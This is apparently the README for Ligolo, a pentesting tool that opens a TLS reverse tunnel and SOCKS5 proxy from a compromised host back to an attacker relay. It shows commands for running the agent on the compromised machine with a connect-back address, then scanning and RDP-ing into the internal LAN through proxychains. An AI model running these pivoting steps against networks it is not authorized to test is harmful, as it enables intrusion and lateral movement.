Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
Table of Contents
- Use case
- Quick Demo
- To Do
Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.
You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and you want to establish connections to other machines on this network.
Ligolo can setup a tunnel to access internal server's resources.
Relay of a RDP connection using Proxychains (WAN).
Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.
Setup / Compiling
Make sure Go is installed and working.
- Get Ligolo and dependencies
cd `go env GOPATH`/src git clone https://github.com/sysdream/ligolo cd ligolo make dep
- Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com
NOTE: You can also use your own certificates by using the
TLS_CERT make option when calling build. Example:
make build-all TLS_CERT=certs/mycert.pem.
- 3.1. For all architectures
- 3.2. (or) For the current architecture
How to use?
Ligolo consists of two modules:
Localrelay is intended to be launched on the control server (the attacker server).
Ligolo is the program to run on the target computer.
For localrelay, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from ligolo (
For ligolo, you must specify the IP address of the relay server (or your attack server) using the
-relayserver ip:port parameter.
You can use the
-h option for help.
Once the connection has been established between Ligolo and LocalRelay, a SOCKS5 proxy will be set up on TCP port
1080 on the relay server (you can change the TCP address/port using the -localserver option).
After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.
On your attack server.
On the compromise host.
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A $ proxychains rdesktop 10.0.0.123
Usage of localrelay: -certfile string The TLS server certificate (default "certs/server.crt") -keyfile string The TLS server key (default "certs/server.key") -localserver string The local server address (your proxychains parameter) (default "127.0.0.1:1080") -relayserver string The relay server listening address (the connect-back address) (default "0.0.0.0:5555")
Usage of ligolo: -autorestart Attempt to reconnect in case of an exception -relayserver string The relay server (the connect-back address) (default "127.0.0.1:5555") -skipverify Skip TLS certificate pinning verification -targetserver string The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server
- TLS 1.3 tunnel with TLS pinning
- Multiplatforms (Windows / Linux / Mac / ...)
- Multiplexing (1 TCP connection for all flows)
- SOCKS5 proxy or simple relay
- Better timeout handling
- SOCKS5 UDP support
- Implement mTLS
GNU General Public License v3.0 (See LICENSING).
- Nicolas Chatelain <n.chatelain -at- sysdream.com>